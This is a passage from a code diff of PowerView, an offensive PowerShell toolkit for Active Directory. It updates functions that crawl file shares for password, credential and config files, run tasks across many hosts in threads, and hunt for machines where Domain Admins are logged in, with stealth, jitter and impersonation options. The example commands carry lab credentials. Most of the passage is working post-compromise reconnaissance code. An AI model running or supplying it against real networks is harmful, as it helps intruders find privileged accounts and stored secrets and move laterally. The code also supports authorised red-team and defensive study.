\\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) - .EXAMPLE +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. - PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) +.EXAMPLE - Returns any files on the remote path \\WINDOWS7\Users\ that have the default - search term set in the title and were accessed within the last week. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" - .LINK - - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +.OUTPUTS + +PowerView.FoundFile #> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Path = '.\', - [Alias('Terms')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] [String[]] - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), - - [Switch] - $OfficeDocs, + $Path = '.\', - [Switch] - $FreshEXEs, + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastAccessTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastWriteTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $CreationTime, + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, + [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, - [String] - $OutFile, - - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - - $Path += if(!$Path.EndsWith('\')) {"\"} - - if ($Credential) { - $UsePSDrive = $True + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include } - - # append wildcards to the front and back of all search terms - $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } - - # search just for office documents if specified - if ($OfficeDocs) { - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } - - # find .exe's accessed within the last 7 days - if($FreshEXEs) { - # get an access time limit of 7 days ago + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' - } - - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - - $Parts = $Path.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path '$Path' : $_" - return $Null - } - - # so we can cd/dir the new drive - $Path = "${RandDrive}:\${FilePath}" + $SearcherArguments['Include'] = @('*.exe') } - } - - process { + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] - Write-Verbose "[*] Search path $Path" + $MappedComputers = @{} - function Invoke-CheckWrite { + function Test-Write { # short helper to check is the current user can write to a file - [CmdletBinding()]param([String]$Path) + [CmdletBinding()]Param([String]$Path) try { - $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { - Write-Verbose -Message $Error[0] $False } } + } - $SearchArgs = @{ - 'Path' = $Path - 'Recurse' = $True - 'Force' = $(-not $ExcludeHidden) - 'Include' = $SearchTerms - 'ErrorAction' = 'SilentlyContinue' - } + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } - Get-ChildItem @SearchArgs | ForEach-Object { - Write-Verbose $_ - # check if we're excluding folders - if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} - } | ForEach-Object { - if($LastAccessTime -or $LastWriteTime -or $CreationTime) { - if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} - elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} - elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') + $FoundFile + } } - else {$_} - } | ForEach-Object { - # filter for write access (if applicable) - if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} - } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { - # check if we're outputting to the pipeline or an output file - if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} - else {$_} } } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection } } @@ -9248,62 +13907,58 @@ function Find-InterestingFile { # ######################################################## -function Invoke-ThreadedFunction { +function New-ThreadedFunction { # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] - param( - [Parameter(Position=0,Mandatory=$True)] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, - [Parameter(Position=1,Mandatory=$True)] + [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, - [Parameter(Position=2)] + [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] - [ValidateRange(1,100)] + [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" - + BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks - if(!$NoImports) { - + if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } @@ -9313,2300 +13968,2292 @@ function Invoke-ThreadedFunction { # Thanks Carlos! # create a pool of maxThread runspaces - $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() - $method = $null - ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) { - $methodParameters = $m.GetParameters() - if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") { - $method = $m.MakeGenericMethod([Object], [Object]) + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() - } - - process { - - ForEach ($Computer in $ComputerName) { + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" - # make sure we get a server name - if ($Computer -ne '') { - # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - } + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } - # create a "powershell pipeline runner" - $p = [powershell]::create() + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" - $p.runspacepool = $Pool + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool - # add the script block + arguments - $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) - if($ScriptParameters) { - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $p.AddParameter($Param.Name, $Param.Value) - } + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } + } - $o = New-Object Management.Automation.PSDataCollection[Object] + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] - $Jobs += @{ - PS = $p - Output = $o - Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o)) - } + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } - end { - Write-Verbose "Waiting for threads to finish..." + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } - } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0) + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." - ForEach ($Job in $Jobs) { - $Job.PS.Dispose() + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 } $Pool.Dispose() - Write-Verbose "All threads completed!" + Write-Verbose "[New-ThreadedFunction] all threads completed" } } -function Invoke-UserHunter { +function Find-DomainUserLocation { <# - .SYNOPSIS - - Finds which machines users of a specified group are logged into. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION +.SYNOPSIS - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroupMember or reads in a target user list, queries the domain for all - active machines with Get-NetComputer or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSession/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. +Finds domains machines where specific users are logged into. - .PARAMETER ComputerName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction - Host array to enumerate, passable on the pipeline. +.DESCRIPTION - .PARAMETER ComputerFile +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. - File of hostnames/IPs to search. +.PARAMETER ComputerName - .PARAMETER ComputerFilter +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - Host filter name to query AD for, wildcards accepted. +.PARAMETER Domain - .PARAMETER ComputerADSpath +Specifies the domain to query for computers AND users, defaults to the current domain. - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER ComputerDomain - .PARAMETER Unconstrained +Specifies the domain to query for computers, defaults to the current domain. - Switch. Only enumerate computers that have unconstrained delegation. +.PARAMETER ComputerLDAPFilter - .PARAMETER GroupName +Specifies an LDAP query string that is used to search for computer objects. - Group name to query for target users. +.PARAMETER ComputerSearchBase - .PARAMETER TargetServer +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Hunt for users who are effective local admins on a target server. +.PARAMETER ComputerUnconstrained - .PARAMETER UserName +Switch. Search computer objects that have unconstrained delegation. - Specific username to search for. +.PARAMETER ComputerOperatingSystem - .PARAMETER UserFilter +Search computers with a specific operating system, wildcards accepted. - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +.PARAMETER ComputerServicePack - .PARAMETER UserADSpath +Search computers with a specific service pack, wildcards accepted. - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER ComputerSiteName - .PARAMETER UserFile +Search computers in the specific AD Site name, wildcards accepted. - File of usernames to search for. +.PARAMETER UserIdentity - .PARAMETER AdminCount +Specifies one or more user identities to search for. - Switch. Hunt for users with adminCount=1. +.PARAMETER UserDomain - .PARAMETER AllowDelegation +Specifies the domain to query for users to search for, defaults to the current domain. - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' +.PARAMETER UserLDAPFilter - .PARAMETER StopOnSuccess +Specifies an LDAP query string that is used to search for target users. - Switch. Stop hunting after finding after finding a target user. +.PARAMETER UserSearchBase - .PARAMETER NoPing +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Don't ping each host to ensure it's up before enumerating. +.PARAMETER UserGroupIdentity - .PARAMETER CheckAccess +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - Switch. Check if the current user has local admin access to found machines. +.PARAMETER UserAdminCount - .PARAMETER Delay +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - Delay between enumerating hosts, defaults to 0 +.PARAMETER UserAllowDelegation - .PARAMETER Jitter +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER CheckAccess - .PARAMETER Domain +Switch. Check if the current user has local admin access to computers where target users are found. - Domain for query for machines, defaults to the current domain. +.PARAMETER Server - .PARAMETER DomainController +Specifies an Active Directory server (domain controller) to bind to. - Domain controller to reflect LDAP queries through. +.PARAMETER SearchScope - .PARAMETER ShowAll +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Return all user location results, i.e. Invoke-UserView functionality. +.PARAMETER ResultPageSize - .PARAMETER SearchForest +Specifies the PageSize to set for the LDAP searcher object. - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER ServerTimeLimit - .PARAMETER Stealth +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Switch. Only enumerate sessions from connonly used target servers. +.PARAMETER Tombstone - .PARAMETER StealthSource +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The source of target servers to use, 'DFS' (distributed file servers), - 'DC' (domain controllers), 'File' (file servers), or 'All' +.PARAMETER Credential - .PARAMETER ForeignUsers +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Switch. Only return results that are not part of searched domain. +.PARAMETER StopOnSuccess - .PARAMETER Threads +Switch. Stop hunting after finding after finding a target user. - The maximum concurrent threads to execute. +.PARAMETER Delay - .PARAMETER Poll +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Continuously poll for sessions for the given duration. Automatically - sets Threads to the number of computers being polled. +.PARAMETER Jitter - .EXAMPLE +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - PS C:\> Invoke-UserHunter -CheckAccess +.PARAMETER ShowAll - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. +Switch. Return all user location results instead of filtering based on target +specifications. - .EXAMPLE +.PARAMETER Stealth - PS C:\> Invoke-UserHunter -Domain 'testing' +Switch. Only enumerate sessions from connonly used target servers. - Finds machines on the 'testing' domain where domain admins are logged into. +.PARAMETER StealthSource - .EXAMPLE +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). - PS C:\> Invoke-UserHunter -Threads 20 +.PARAMETER Threads - Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. +The number of threads to use for user searching, defaults to 20. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt +Find-DomainUserLocation - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. +Searches for 'Domain Admins' by enumerating every computer in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 +Find-DomainUserLocation -Stealth -ShowAll - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-UserHunter -TargetServer FILESERVER +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local - Query FILESERVER for useres who are effective local administrators using - Get-NetLocalGroup -Recurse, and hunt for that user set on the network. +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-UserHunter -SearchForest +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred - Find all machines in the current forest where domain admins are logged in. +Searches for domain admin locations in the testlab.local using the specified alternate credentials. - .EXAMPLE +.OUTPUTS - PS C:\> Invoke-UserHunter -Stealth - - Executes old Invoke-StealthUserHunter functionality, enumerating commonly - used servers and checking just sessions for each. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') } - - Poll Domain Controllers in parallel for sessions for an hour, waiting five - seconds before querying each DC again and filtering out computer accounts. - - .LINK - http://blog.harmj0y.net +PowerView.UserLocation #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerSearchBase, + [Alias('Unconstrained')] [Switch] - $Unconstrained, + $ComputerUnconstrained, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $GroupName = 'Domain Admins', + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $TargetServer, + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $UserName, + $ComputerSiteName, + + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + [ValidateNotNullOrEmpty()] [String] - $UserFilter, + $UserDomain, + [ValidateNotNullOrEmpty()] [String] - $UserADSpath, + $UserLDAPFilter, - [ValidateScript({Test-Path -Path $_ })] + [ValidateNotNullOrEmpty()] [String] - $UserFile, + $UserSearchBase, + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] [Switch] - $AdminCount, + $UserAdminCount, + [Alias('AllowDelegation')] [Switch] - $AllowDelegation, + $UserAllowDelegation, [Switch] $CheckAccess, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + [Switch] - $StopOnSuccess, + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $NoPing, + $StopOnSuccess, - [UInt32] + [ValidateRange(1, 10000)] + [Int] $Delay = 0, + [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, - [String] - $Domain, - - [String] - $DomainController, - + [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, - [Switch] - $SearchForest, - [Switch] $Stealth, [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All", - - [Switch] - $ForeignUsers, + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', [Int] - [ValidateRange(1,100)] - $Threads, - - [UInt32] - $Poll = 0 + [ValidateRange(1, 100)] + $Threads = 20 ) - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - - ##################################################### - # - # First we build the host target set - # - ##################################################### - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { 